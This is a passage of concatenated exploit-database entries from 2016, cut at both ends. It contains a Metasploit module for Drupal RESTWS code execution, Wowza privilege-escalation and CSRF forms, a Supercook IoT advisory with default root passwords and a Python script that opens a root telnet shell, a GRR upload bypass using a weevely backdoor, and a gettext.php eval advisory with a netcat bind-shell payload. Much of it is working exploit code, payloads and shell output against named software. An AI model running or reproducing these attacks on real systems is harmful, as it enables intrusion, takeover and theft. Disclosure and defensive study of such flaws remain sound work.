      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567'],
          ['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
      ], self.class
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))
    url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
    if res && res.body =~ /#{r}/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    random = rand_text_alpha(1 + rand(2))
    url = normalize_uri(target_uri.path,
      "?q=taxonomy_vocabulary/",
      random ,
      "/passthru/",
      Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
    )
    send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
  end
end
            
Wowza Streaming Engine 4.5.0 Local Privilege Escalation


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: Wowza Streaming Engine 4.5.0 (build 18676)
                  Wowza Streaming Engine Manager 4.5.0 (build 18676)

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: Wowza Streaming Engine suffers from an elevation of privileges
vulnerability which can be used by a simple authenticated user that
can change the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'F' flag (Full) for
'Everyone' group. In combination with insecure file permissions the
application suffers from an unquoted search path issue impacting the
services 'WowzaStreamingEngine450' and 'WowzaStreamingEngineManager450'
for Windows deployed as part of Wowza Streaming software.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Java Version: 1.8.0_77
           Java VM Version: 25.77-b03
           Java Architecture: 64


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5339
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5339.php


03.07.2016

--


C:\Users\lqwrm>sc qc WowzaStreamingEngineManager450
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WowzaStreamingEngineManager450
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wowza Streaming Engine Manager 4.5.0
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\lqwrm>cacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe Everyone:(ID)F
                                                                                                 NT AUTHORITY\SYSTEM:(ID)F
                                                                                                 BUILTIN\Administrators:(ID)F
                                                                                                 BUILTIN\Users:(ID)R

==========

C:\Users\lqwrm>sc qc WowzaStreamingEngine450
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WowzaStreamingEngine450
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wowza Streaming Engine 4.5.0
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\lqwrm>icacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe Everyone:(I)(F)
                                                                                         NT AUTHORITY\SYSTEM:(I)(F)
                                                                                         BUILTIN\Administrators:(I)(F)
                                                                                         BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
            
<!--
Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.

Advanced Admin:
 Allow access to advanced properties and features
 Only for expert Wowza Streaming Engine users.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php


03.07.2016

--


Privilege escalation from existing read-only user to admin(advanced):
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="quickEdit" />
      <input type="hidden" name="userName" value="usermuser" />
      <input type="hidden" name="userPassword" value="" />
      <input type="hidden" name="userPassword2" value="" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="God mode" />
    </form>
  </body>
</html>
            
<!--
Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5341
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5341.php


03.07.2016

--
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="new" />
      <input type="hidden" name="userName" value="thricer" />
      <input type="hidden" name="userPassword" value="123123" />
      <input type="hidden" name="userPassword2" value="123123" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="Execute" />
    </form>
  </body>
</html>
            
'''
Bellini/Supercook Wi-Fi Yumi SC200 - Multiple vulnerabilities

Reported By:
==================================
James McLean -
 Primary: james dot mclean at gmail dot com
 Secondary: labs at juicedigital dot net

Device Overview:
==================================
From http://www.supercook.me/en/supercook/articles/btmkm800x/

"The Bellini.SUPERCOOK Kitchen Master is much more than a multifunctional
kitchen machine. It has 13 functions so not only saves a huge amount of
time, it also incorporates the Yumi control module and its own recipe
collection, making it incredibly easy to use."

Vulnerability Overview:
==================================
 Vuln1) Weak Username/Password for 'root' account.
 Vuln2) Information disclosure, unauthenticated.
 Vuln3) Remote arbitrary code execution.

CVE ID's
==================================
None assigned as yet.

Disclosure Timeline
==================================
2016-06-01: Vulnerability assessment commenced.
2016-07-04: Contacted Supercook.me support via Web Contact. No response.
2016-07-12: Contacted Supercook.me support via Web Contact. No response.
2016-07-12: Contacted Supercook Australia via Facebook. Supercook responded, saying they will view the support request. No further response recieved.
2016-07-19: Contacted Supercook Australia via Facebook. No response.
2016-07-21: Posted security assessment to vortex.id.au.
2016-07-22: Mitre contacted, CVE ID's requested.

It is with regret, but ultimately due to my concern for the community
that own these devices, that due to lack of communication I am disclosing
these vulnerabilities without the involvment of the vendor. I sincerely hope
that the vendor can resolve these issues in a timely manner.

I intend no malice by releasing these vulnerabilities, and only wish to
inform the community so appropriate steps may be taken by the owners of
these devices.

Due to the nature of the firmware on the device, these issues are not likely
caused by the vendor themselves.

Please do not use the information presented here for evil.

Affected Platforms:
==================================
Bellini/Supercook Wi-Fi Yumi SC200 - Confirmed affected: Vuln1, Vuln2, Vuln3.
Bellini/Supercook Wi-Fi Yumi SC250 - Likely affected, Vuln1, Vuln2, Vuln3, as
same firmware is used.

As the Wi-fi Yumi firmware appears to be based on a stock firmware image
used on a number of other commodity 'IoT' devices, the vulnerabilities
described here are very likely to affect other devices with similar or
the same firmware.

--

Vuln1 Details:
==================================
Weak Username/Password for Root-level account.
Username: super
Password: super

These credentials provide access to the built in FTP server and web
administration interface. We did not attempt any more than a cursory
connection to the FTP server with these details.

According to the details disclosed in Vuln2, an additional account is present
on the device with the following credentials:
Username: admin
Password: AlpheusDigital1010

With the exception of a cursory check of the built in FTP service (which
failed for these credentials), we did not attempt to access the device with
these credentials.

Vuln1 Notes:
==================================
We did not attempt to change or ascertain if it was possible to change these
access credentials; as Vuln2 completely negates any change made.

Vuln1 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network.
Revert to the non-wifi Yumi controller.

--

Vuln2 Details:
==================================
Information disclosure, unauthenticated.

Device URL: http://10.10.1.1/Setting.chipsipcmd

The device offers, via its built in webserver, a full list of all configuration
parameters available. This list includes the above mentioned root account
username and password, and the password to the parent connected wifi network.
All details are in plain text, and transmitted in the format of a key-value
pair making retrieval, recovery and use of all configuration
information trivial.

This interface is also available from the parent wi-fi network via DHCP assigned
IPv4 address.

Vuln2 Notes:
==================================
Example data returned:
DEF_IP_ADDR=10.10.1.1
DEF_SUBNET_MASK=255.255.255.0
...
DEF_SUPER_NAME="super"
DEF_SUPER_PASSWORD="super"
DEF_USER_NAME="admin"
DEF_USER_PASSWORD="AlpheusDigital1010"
...

Vuln2 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network, only using
the mobile application to upload recipes, then disconnect from the device and
connect your mobile device to a trusted network once again to access the
internet once again.

Revert to the non-wifi Yumi controller.

The vendor should establish a method of authentication to the device from the
various mobile applications available, and transport any configuration in an
encrypted format using keys which are not generally available or easily
discoverable.

--

Vuln3 Details:
==================================
Remote arbitrary code execution.

Device URL: http://10.10.1.1/syscmd.asp

The device offers a built-in web-shell which, once authenticated using the
details discovered in Vuln2, allows the execution of any command the device
can execute - as the built in webserver runs as the root user.

It is possible to execute a command using this interface that would create
any file in any location. This would allow an attacker to establish persistence.

Additionally, the built in busybox binary includes the option
'telnetd', meaning it is
possible to execute the relevant command to start a telnet daemon remotely.
The running daemon then requires no authentication to connect, and runs as
the root account.

Vuln3 Mitigation:
==================================
Isolate the Supercook Wi-fi Yumi from any other Wireless network.

Revert to the non-wifi Yumi controller.

Remove or prevent access to /syscmd.asp and /goform/formSysCmd scripts (Please
mind your warranty if you modify the files on the device).

The vendor should disable any and all commands on the device and scripts in
the web interface which are not specifically required for the normal
functionality of the device or its communication with control apps.

In this instance, the vendor should REMOVE the page '/syscmd.asp' and also
/goform/formSysCmd which processes commands submitted via syscmd.asp to prevent
arbitrary commands from being executed.

Additionally, busybox should be recompiled such that the 'telnetd' option is
no longer available to be executed.

--

Vuln1/Vuln2/Vuln3 Risks:
==================================
Weak and easily discoverable root credentials combined with easily accessed
remote shell functionality is a dangerous combination. These vulnerabilities
could allow any sufficiently advanced malware to become persistent in a LAN
and re-infect hosts at will (advanced crypto-locker style malware comes to
mind), capture and exfiltrate data on either Wireless network the device is
connected to, MITM any traffic routed through the device, or other as yet
unknown attack vectors.

Additionally, as full root access is easily obtainable, it may be possible
for an attacker to cause the cooking functionality to behave erratically or
possibly even dangerously due to the built in spinning blades and heating
elements. While we ultimately did not attempt to control these aspects of the
device due to the fact that it makes our dinner most nights, these risks are
worth raising.

This vulnerability assessment should not be considered an exhaustive list
of all vunlnerabilities the device may have. Due to time constraints we were
unable to invest the required time to discover and document all issues. Due to
the nature of the firmware on the device, most of these have likely been
discovered in other products at various times, this item may even duplicate
another from a similar device.

Notes:
==================================
No security assessment of code used for control of cooker functionality was
undertaken; as this does not, in my opinion, rate as seriously as the other
vulnerabilities discovered and disclosed here. However, it should be noted,
that with the root access that is VERY easily obtained, it may be possible for
an attacker to cause the cooking functionality of the machine to behave
erratically or even dangerously due to the built in spinning blades and heating
elements. Further to this, a malicious partner or offspring may intentionally
sabotage dinner, if he/she would prefer to eat takeout.

No attempt was made to connect to or manipulate files on the built in Samba
shares, however given the weak credentials sufficiently advanced malware may be
able to use these shares to establish persistence.

The 'Bellini' name may be regional, our device was procured in Australia and
as such may or may not have a different name in other countries.

A full, detailed, rundown and commentary is available at
https://www.vortex.id.au/2016/07/bellini-supercook-yumi-wi-fi-the-insecurity-perspective/

Vuln3 Proof of Concept:
==================================
'''

#!/usr/bin/env python

import urllib
import urllib2
from subprocess import call

# Connect to the device's wifi network, then run.
# Root access will be provided.

url = 'http://10.10.1.1/goform/formSysCmd'
cmd = 'busybox telnetd -l /bin/sh'
username = 'super'
password = 'super'

# setup the password handler
basicauth = urllib2.HTTPPasswordMgrWithDefaultRealm()
basicauth.add_password(None, url, username, password)

authhandler = urllib2.HTTPBasicAuthHandler(basicauth)
opener = urllib2.build_opener(authhandler)

urllib2.install_opener(opener)

# Connect to the device, send the data
values = {
    'sysCmd': cmd,
    'apply': 'Apply',
    'submit-url': '/syscmd.asp'
}
data = urllib.urlencode(values)
pagehandle = urllib2.urlopen(url, data)

# Connect to Telnet.
call(["telnet","10.10.1.1"])

# Pwnd.

# End of document.
            
# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenticated)

# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) | @kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"

# CVSS score: 9.9
# OVE ID: OVE-20160705-0044
# CVE ID: Not Requested

# Credits: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
# Fix:     https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php


I. APPLICATION
======================================================================================

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================
 
 
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
 
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.
 
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.
 
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
 
It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).
 
So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).
 
To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.
 
This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.
 
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
 
III. VULNERABLE CODE
======================================================================================

snip..
// Enregistrement du logo
    $doc_file = isset($_FILES["doc_file"]) ? $_FILES["doc_file"] : NULL;
    if (preg_match("`\.([^.]+)$`", $doc_file['name'], $match))
    {
        $ext = strtolower($match[1]);
        if ($ext != 'jpg' && $ext != 'png' && $ext != 'gif') // Vulnerability !! Extension are the only "security" test on submitted files !!
        {
    $msg .= "L\'image n\'a pas pu être enregistrée : les seules extentions autorisées sont gif, png et jpg.\\n";
    $ok = 'no';
}
else
{
    $dest = '../images/';
    $ok1 = false;
    if ($f = @fopen("$dest/.test", "w"))
    {
        @fputs($f, '<'.'?php $ok1 = true; ?'.'>'); // Hem...
        @fclose($f);
        include("$dest/.test");
    }
    if (!$ok1)
    {
        $msg .= "L\'image n\'a pas pu être enregistrée : problème d\'écriture sur le répertoire \"images\". Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
        $ok = 'no';
    }
    else
    {
        $ok1 = @copy($doc_file['tmp_name'], $dest.$doc_file['name']);
        if (!$ok1)
            $ok1 = @move_uploaded_file($doc_file['tmp_name'], $dest.$doc_file['name']);
        if (!$ok1)
        {
            $msg .= "L\'image n\'a pas pu être enregistrée : problème de transfert. Le fichier n\'a pas pu être transféré sur le répertoire IMAGES. Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
            $ok = 'no';
        }
        else
        {
            $tab = explode(".", $doc_file['name']);
            $ext = strtolower($tab[1]);
            if ($dest.$doc_file['name']!=$dest."logo.".$ext)
            {
                if (@file_exists($dest."logo.".$ext))
                    @unlink($dest."logo.".$ext);
                rename($dest.$doc_file['name'],$dest."logo.".$ext); // Vulnerability: if filename is "backdoor.php.jpg" we rename it as "logo.php" !!

            }
            @chmod($dest."logo.".$ext, 0666); // Vulnerability: why chmod 0666 on this f****** file!?!?

            $picture_room = "logo.".$ext;
            if (!Settings::set("logo", $picture_room))
            {
                $msg .= "Erreur lors de l'enregistrement du logo !\\n";
                $ok = 'no';
            }
        }
    }
}
snip...
 
IV. PROOF OF CONCEPT
======================================================================================
 
Generate backdoor:
 
    kmkz@Tapz:~#  weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
    kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
 
 
Login as admin and upload this new 'logo' > Administration > logo
 
Enjoy your shell!
 
    kmkz@Tapz:~# weevely http://server/images/logo.php pass123
    [+] weevely 3.2.0
 
    [+] Target:    server:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell
 
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
 
    weevely> whoami
    autorite nt\system
 
 
 
V. RISK
======================================================================================
By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
 
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to  full information system's compromise using pivots techniques and imagination!
 
 
VI. VERSIONS AFFECTED
======================================================================================
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
 
 
VII. TIMELINE
======================================================================================
December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure


VII. LEGAL NOTICES
======================================================================================
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

# Date: June 25th, 2016
# Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security
# Project Homepage: https://launchpad.net/php-gettext/
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
# Version: 1.0.12 (latest release)
# Tested on: Linux Debian, PHP 5.6.19-2+b1

# CVSS: 7.1
# OVE ID: OVE-20160705-0004
# CVE ID: CVE-2016-6175
# OSVDB ID: n/a

# Thanks:
Lars Michelsen from NagVis project where this bug was discovered and
Danilo Segan from gettext.php team project for their reactivity and professionalism

# Credits:
https://bugs.launchpad.net/php-gettext/+bug/1606184
https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53

# Fixes:
https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php
https://bugs.launchpad.net/php-gettext/+bug/1606184

gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue


I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.
This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.


II. ADVISORY

A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file.
The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.


III. VULNERABILITY DESCRIPTION

The gettext_reader() funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";

If it seems correct then we'll continue.
We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:

plural-forms: ([^\n]*)\n

(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.


Here is the impacted code snippet :

snip...
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
$expr = $regs[1];
else

$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

$this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!!
}
snip...


The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.



Comments are :

/** Sanitize plural form expression for use in PHP eval call.
@access private
@return string sanitized plural form expression**/

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...
function sanitize_plural_expression($expr) {

// Get rid of disallowed characters.
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
// Add parenthesis for tertiary '?' operator.
   
$expr .= ';';
$res = '';
$p = 0;

for ($i = 0; $i < strlen($expr); $i++) { // indentation ?
$ch = $expr[$i];
   
switch ($ch) {

case '?':
$res .= ' ? (';
$p++;

break;

case ':':
$res .= ') : (';

break;

case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;

break;

default:

$res .= $ch;

}
}
return $res;
}
snip...


Code snippet from the vulnerable function that execute eval() on the « sanitized string :


snip...
$string = $this->get_plural_forms();
$string = str_replace('nplurals',"\$total",$string);
$string = str_replace("n",$n,$string);
$string = str_replace('plural',"\$plural",$string);

$total = 0;
$plural = 0;

eval("$string"); // eval called .... launch my shell baby !
snip...


However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.
A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.
He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless !

Note :
Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :

$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say:

« there is more than one way to do it »


IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version
(without a crafted .mo file and joined with this advisory).


<?php
//$expr= ("system(sh)");  // payload1
//$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant
$expr=("phpinfo()"); // payload2 (PoC)

//$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);//  vuln
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/

$expr .= ';';

 // Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) {
    $ch = $expr[$i];
    switch ($ch) {
        case '?':
            $res .= ' ? (';
            $p++;
            break;
        case ':':
            $res .= ') : (';
            break;
        case ';':
            $res .= str_repeat( ')', $p) . ';';
            $p = 0;
            break;
    default:
        $res .= $ch;
    }
}
   
// Vulnerable function :
$n= (1);
$total=("1000");

 if (!is_int($n)) {
      throw new InvalidArgumentException(
        "Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php
}

$string = str_replace('nplurals',"\$total",$res);
$string = str_replace("n",$res,$res);
$string = str_replace('plural',"\$plural",$res);
eval("$string");
?>


V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.
The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.



VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.


VII. TIMELINE

June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure


VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
'''
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:

php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382     ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383     ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385     RETURN_NEW_STR(data);
| 386 }
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211     php_bz2iop_write, php_bz2iop_read,
| 212     php_bz2iop_close, php_bz2iop_flush,
| 213     "BZip2",
| 214     NULL, /* seek */
| 215     NULL, /* cast */
| 216     NULL, /* stat */
| 217     NULL  /* set_option */
| 218 };
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140     struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141     size_t ret = 0;
| 142
| 143     do {
| 144         int just_read;
| ...
| 148         just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150         if (just_read < 1) {
| 151             stream->eof = 0 == just_read;
| 152             break;
| 153         }
| 154
| 155         ret += just_read;
| 156     } while (ret < count);
| 157
| 158     return ret;
| 159 }
`----

The erroneous return values for Bzip2 are as follows:

bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR    (-1)
| 039 #define BZ_PARAM_ERROR       (-2)
| 040 #define BZ_MEM_ERROR         (-3)
| 041 #define BZ_DATA_ERROR        (-4)
| 042 #define BZ_DATA_ERROR_MAGIC  (-5)
| 043 #define BZ_IO_ERROR          (-6)
| 044 #define BZ_UNEXPECTED_EOF    (-7)
| 045 #define BZ_OUTBUFF_FULL      (-8)
| 046 #define BZ_CONFIG_ERROR      (-9)
`----

Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).

According to the manual [1], bzread() returns FALSE on error; however
that does not seem to ever happen.

Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:

,----
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
`----


Exploitation
============

One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:

bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108    UChar      uc;
| 109    Int32      retVal;
| ...
| 113    /* stuff that needs to be saved/restored */
| 114    Int32  i;
| 115    Int32  j;
| ...
| 118    Int32  nGroups;
| 119    Int32  nSelectors;
| ...
| 167    /*restore from the save area*/
| 168    i           = s->save_i;
| 169    j           = s->save_j;
| ...
| 172    nGroups     = s->save_nGroups;
| 173    nSelectors  = s->save_nSelectors;
| ...
| 195    switch (s->state) {
| ...
| 286       /*--- Now the selectors ---*/
| 287       GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
